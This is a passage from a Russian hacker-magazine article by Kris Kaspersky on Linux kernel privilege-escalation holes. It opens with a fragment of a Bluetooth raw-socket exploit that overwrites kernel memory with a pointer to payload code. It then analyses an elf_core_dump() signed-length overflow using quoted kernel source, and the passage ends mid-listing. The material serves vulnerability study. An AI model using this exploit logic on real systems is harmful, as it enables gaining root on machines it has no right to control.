Захват нулевого кольца Крис Касперски ака мыщъх Хакер, номер #079, стр. 079-104-2 if ((tmp = klogctl(0x3, buf, 1700)) > -1) { check = strstr(buf, "ecx: "); printf("|- [%0.14s]\n", check); if (*(check+5) == 0x30 && *(check+6) == 0x38) { check += 5; printf("|- suitable value found! using 0x%0.9s\n", check); *(check+9) = 0x00; *(--check) = 'x'; *(--check) = '0'; mod = (unsigned int *)strtoul(check, 0, 0); for (sock = 0; sock <= 200; sock++) *(mod++) = (int)ong_code; if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0) { printf("|- invalid value\n"); exit(1); } } } [Эльфы падают в дамп] Самой свежей дырой, которая была найдена на момент написания этих строк, оказалась уязвимость в ELF-загрузчике, обнаруженная 11 мая 2005 года и поражающая целую серию ядер: 2.2.27-rc2, 2.4, 2.4.31-pr1, 2.6, 2.6.12-rc4 и т.д. Ошибка сидит в функции elf_core_dump(), расположенной в файле binfmt_elf.c. Ключевой фрагмент уязвимого листинга выглядит так: Ключевой фрагмент функции elf_core_dump(), подверженной переполнению static int elf_core_dump(long signr, struct pt_regs *regs, struct file *file) { struct elf_prpsinfo psinfo; memset(&psinfo, 0, sizeof(psinfo)); { int i, len; /* 1 */ len = current->mm->arg_end - current->mm->arg_start; if (len >= ELF_PRARGSZ) /* 2 */ len = ELF_PRARGSZ - 1; copy_from_user(&psinfo.pr_psargs, (const char *)current->mm->arg_start, len); } } Типичное переполнение буфера! Программист объявляет знаковую переменную len (см. /* 1 */) и спустя некоторое время передает ее функции copy_form_user(), копирующей данные из пользовательской памяти в область ядра. Проверка на отрицательное значение не выполняется (см. /* 2 */). Что это значит для нас в практическом плане? А вот что! Если current->mm->arg_start будет больше, чем current->mm->arg_end, в ядро скопируется очень большой регион пользовательского пространства. А как этого можно добиться? Анализ показывает, что переменные current->mm->arg_start и current->mm->arg_end инициализируются в функции create_elf_tables(), причем если функция strnlen_user() возвратит ошибку, то будет инициализирована лишь переменная current->mm->arg_start, а current->mm->arg_end сохранит свое значение, унаследованное от предыдущего файла. Ключевой фрагмент функции create_elf_tables() static elf_addr_t * create_elf_tables(char *p, int argc, int envc, struct elfhdr *exec, unsigned long load_addr, unsigned long load_bias, unsigned long interp_load_addr, int ibcs) { current->mm->arg_start = (unsigned long)p; while (argc-- > 0) { __put_user((elf_caddr_t)(unsigned long)p, argv++); len = strnlen_user(p, PAGE_SIZE * MAX_ARG_PAGES); if (!len || len > PAGE_SIZE * MAX_ARG_PAGES) return NULL; /* warn */ p += len; } __put_user(NULL, argv); current->mm->arg_end = current->mm->env_start = (unsigned long)p; |